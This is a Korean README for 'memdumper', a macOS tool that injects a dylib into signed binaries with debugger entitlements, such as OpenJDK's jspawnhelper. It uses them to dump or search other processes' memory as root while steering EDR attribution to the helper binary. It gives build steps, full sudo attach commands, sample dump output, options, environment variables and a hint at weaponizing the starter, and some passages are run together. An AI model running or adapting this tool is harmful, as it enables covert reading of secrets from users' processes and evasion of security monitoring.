
macOS 디버거 entitlements와 DYLD_INSERT_LIBRARIES를 악용하여 실행 중인 프로세스의 메모리를 덤프하거나 검색하면서 EDR 귀속을 서명된 헬퍼 바이너리로 전환합니다.
memdumper는 서명된 다른 바이너리의 디버거 entitlement를 이용해 실행 중인 macOS 프로세스의 메모리를 읽습니다. 목표는 task_for_pid와 ptrace가 그 entitlement가 있는 바이너리로 실행되게 하여, EDR이 memdumper가 아니라 그 바이너리를 기록하도록 하는 것입니다.
cenobyte 작성 [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper는 com.apple.security.cs.debugger와 DYLD_INSERT_LIBRARIES 삽입을 허용하는 두 entitlement를 가진 바이너리를 시작합니다. 이 도구를 사용해 root로 다른 프로세스의 메모리를 검색하고 덤프할 수 있습니다. OpenJDK의 jspawnhelper는 특히 개발자 머신에서 흔히 볼 수 있는 바이너리입니다.
attach.sh에 대상 PID와 entitlement가 있는 바이너리를 지정하세요. dylib 생성자는 해당 바이너리의 main보다 먼저 실행되어 대상을 읽은 다음 _exit를 호출합니다. entitlement가 있는 바이너리는 main에 도달하지 못하므로 jspawnhelper 같은 헬퍼는 사용법 배너를 출력하지 않습니다. entitlement가 있는 바이너리 뒤에 오는 추가 인자는 EDR이 기록하는 명령줄에 그대로 남습니다. -s 없이 실행하면 dylib가 각 읽기 가능 영역의 시작 부분을 hex-dump합니다. -s를 사용하면 해당 영역에서 문자열을 검색합니다. 대상 주소 공간에는 쓰지 않습니다. ptrace attach는 대상을 잠시 중지시킬 수 있습니다.
덤프 상태는 병합된 출력의 [RESULT] 줄로 표시됩니다. 삽입에 성공하면 생성자가 완료된 후 0으로 종료됩니다.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables, com.apple.security.cs.disable-library-validation (예: OpenJDK의 jspawnhelper)clangmakeattach.sh 및 테스트 스크립트용 shellcheck(brew install shellcheck)brew install cppcheck)빌드 호스트에서:
make
그러면 memdumper.dylib이 생성됩니다. 머신이 서로 다르면 attach.sh와 memdumper.dylib을 대상으로 복사하세요.
memdumper.dylib이 들어 있는 디렉터리에서 root로 attach.sh를 실행하세요. root가 아닌 호출자는 entitlement가 있는 바이너리가 시작되기 전에 거부됩니다(root required). 이렇게 하면 Developer Tool Access 암호 대화상자(taskgated / Authorization Services)가 나타나지 않습니다. 이 대화상자는 TCC(Transparency, Consent, and Control)가 아닙니다.
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
후보 entitlement 바이너리에 세 entitlement가 모두 있는지 확인하세요. Cellar 접두사와 OpenJDK 버전은 다를 수 있습니다. attach.sh는 자체 도움말에서 이 경로 구성을 사용합니다:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
PID 4543의 읽기 가능 영역을 덤프합니다:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
그 프로세스에서 HELLO를 검색합니다:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
entitlement가 있는 바이너리로 java를 사용해 덤프를 읽기 가능 영역 50개로 제한합니다. TestSpawn은 명령줄에 남고, java의 main은 실행되지 않습니다:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Hardened Runtime이 없는 편집기는 실제로 동작하는 스모크 테스트 대상입니다. 버퍼를 소유한 사용자로 편집기를 시작한 다음 root로 attach하세요. 한 터미널에서:
nano foo
프로세스에 문자열이 들어가도록 버퍼에 HELLO를 넣으세요(파일을 저장하거나 저장하지 않은 채로 둡니다). 다른 터미널에서 memdumper.dylib이 있는 디렉터리로 이동한 뒤:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
검색 적중 결과는 다음과 같습니다. 그런 다음 프로세스는 0으로 종료됩니다:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh는 entitlement가 있는 바이너리의 entitlement를 확인하지 않습니다. 세 개 중 하나라도 없는 바이너리는 삽입 시점이나 task_for_pid에서 실패합니다.
| 코드 | 의미 |
|---|---|
| 0 | 성공적인 삽입 후 생성자가 종료됨 |
| 1 | 사용법 오류, root가 아님, 현재 디렉터리에 memdumper.dylib 없음, -p 누락, 대상 PID를 찾을 수 없음, --force 없는 Hardened Runtime, 또는 삽입이 발생하지 않음(이 경우 entitlement가 있는 바이너리가 실행된 후 0이 아닌 코드로 종료됨) |
덤프 결과는 [RESULT]를 확인하세요. 종료 코드 0은 생성자가 실행되고 _exit로 종료되었음을 의미할 뿐입니다.
dylib는 세 가지 환경 변수를 읽습니다. attach.sh는 플래그에서 이를 설정합니다.
DYLD_INSERT_LIBRARIES를 memdumper.dylib으로 설정하고 해당 변수들을 설정하는 모든 스타터는 dylib를 주입할 수 있습니다. attach.sh는 이 저장소에 포함된 스타터입니다.
빌드 호스트에서 make는 dylib를 빌드하고 cppcheck와 shellcheck를 실행합니다. make test는 단위 테스트와 기능 테스트 스위트를 실행합니다. 이러한 검사는 클린 런타임을 증명하지는 않습니다.
실제 검색 및 덤프 테스트에는 Homebrew OpenJDK와 uid 0이 필요합니다. 이 테스트는 /opt/homebrew/Cellar와 /usr/local/Cellar 아래에서 jspawnhelper를 find로 찾습니다(버전 고정 없음). 자체적으로 sudo를 호출하지 않습니다. Homebrew OpenJDK가 없거나 스위트가 이미 uid 0이 아닌 경우, 해당 두 케이스는 건너뜁니다(종료 코드 77). 따라서 root가 아닌 make test는 Developer Tool Access를 표시하지 않습니다. 해당 삽입을 실행하려면 sudo make test를 사용하세요.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace, 메모리 읽기를 차단합니다(1Password, Chrome). --force를 사용해도 시도는 하지만 거의 항상 실패합니다.taskgated는 Authorization Services 권한 system.privilege.taskport를 평가합니다. 이 대화상자는 TCC가 아닙니다. Developer Mode(DevToolsSecurity -enable)와 admin 또는 _developer 그룹 소속은 Homebrew jspawnhelper(adhoc, 공개 디버거 entitlement)에 대해 이 대화상자를 없애지 못합니다. Apple 서명 도구(예: lldb)에서만 암호 입력을 건너뜁니다. SIP(System Integrity Protection)는 root라도 보호되는 시스템 프로세스에 접근하지 못하게 합니다.bash 포함)는 다른 검사를 통해 attach를 거부합니다.attach.sh는 스크립트 옆이 아니라 현재 작업 디렉터리에서 memdumper.dylib을 찾습니다. 이를 완전히 무기화하려면 를 배포하는 대신 해당 스타터를 스테이지 1 또는 스테이지 2에서 구현하세요.system.privilege.taskport, 세 가지 방법, EDR이 기록하는 내용| 옵션 | 의미 |
|---|
-p, --pid PID | 대상 프로세스 ID(필수) |
-s, --search STRING | 읽기 가능한 영역에서 STRING 검색 |
-n, --max-regions N | hex-dump할 읽기 가능 영역 최대 수(기본값 100). 덤프 경로에서만 적용 |
-f, --force | codesign이 Hardened Runtime을 보고해도 계속 진행 |
-h, --help | 사용법 출력(종료 코드 1) |
| 변수 | 설정 | 의미 |
|---|
MEMDUMPER_TARGET_PID | -p | 대상 PID. 설정되지 않았거나 양의 정수가 아니면 생성자가 진단 메시지를 출력하고 반환합니다 |
MEMDUMPER_SEARCH | -s | 비어 있지 않으면 덤프 대신 검색합니다 |
MEMDUMPER_MAX_REGIONS | -n | hex-dump할 읽기 가능 영역 수(기본값 100). 검색 경로에서는 무시됩니다 |
attach.sh-n / MEMDUMPER_MAX_REGIONS, 기본값 100).ptrace는 attach와 detach만 수행합니다. 메모리를 덤프하지 않습니다. [RESULT] 3/3은 세 호출이 모두 성공했음을 의미하며, 세 가지 덤프 경로가 실행되었음을 의미하지는 않습니다.DYLD_INSERT_LIBRARIES를 포함한 프로세스 환경 변수를 기록합니다. 위협 헌터는 이 필드를 사용해 해당 삽입을 발견합니다.